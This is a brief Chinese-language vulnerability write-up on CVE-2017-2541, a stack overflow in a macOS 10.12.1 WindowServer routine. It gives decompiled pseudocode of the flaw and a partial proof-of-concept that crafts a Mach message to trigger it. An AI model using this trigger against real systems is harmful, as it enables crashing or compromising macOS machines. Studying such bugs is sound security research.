CVE-2017-2541 __XGetWindowMovementGroup stackoverflow

basic info

size用户可控,array操作时栈溢出。
macOS 10.12.1

vuln

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void __fastcall get_window_group_list(__int64 a1, __int64 a2, unsigned int a3, __int64 a4, unsigned int *a5)
{
unsigned int *total_length; // r14
__int64 buffer_1; // rbx
unsigned int size_param; // er15
__int64 v8; // rax
__int64 v9; // r12
unsigned int length; // eax
__int64 size_get_1; // ST00_8
_QWORD *buffer; // r15
unsigned __int64 idx; // r13

total_length = a5;
buffer_1 = a4;
size_param = a3;
v8 = get_window_group(a1);
v9 = v8;
if ( v8 )
{
length = CFArrayGetCount(v8); // user control
if ( length > size_param )
length = size_param;
*total_length = length;
size_get_1 = length;
buffer = malloc(8LL * length); // size control
idx = 0LL;
CFArrayGetValues(v9, 0LL, size_get_1, buffer);
if ( *total_length )
{
do
{
CFNumberGetValue(buffer[idx++], 3LL, buffer_1);// buffer 's size is controled by user, overflow buffer_1 here
buffer_1 += 4LL;
}
while ( idx < *total_length );
}
free(buffer);
}
else
{
*total_length = 0;
}
}

arraysize是用户传递的,也就是说可以控制buffer的大小,在中间的循环中,在内存访问操作中因为size用户可控,可以导致buffer_1 溢出。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

CGWindowID r[2] = {0};
//...
mach_msg_return_t ret;
msg_t message;

mach_port_t replyPort = mig_get_reply_port();

//go trigger the bug!
memset(&message, 0, sizeof(message));
message.header.msgh_remote_port = getport;
message.header.msgh_local_port = replyPort;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
message.header.msgh_size = 40;
message.header.msgh_id = 0x7210 + 0xc8;

message.NDR = NDR_record;
message.wid = r[0];
message.length = 0x2010;

1
2
sudo lldb ./main 
r

难的是poc的构造,主要是传递过来的参数(array)的构造。

reference

zer0con2018_singi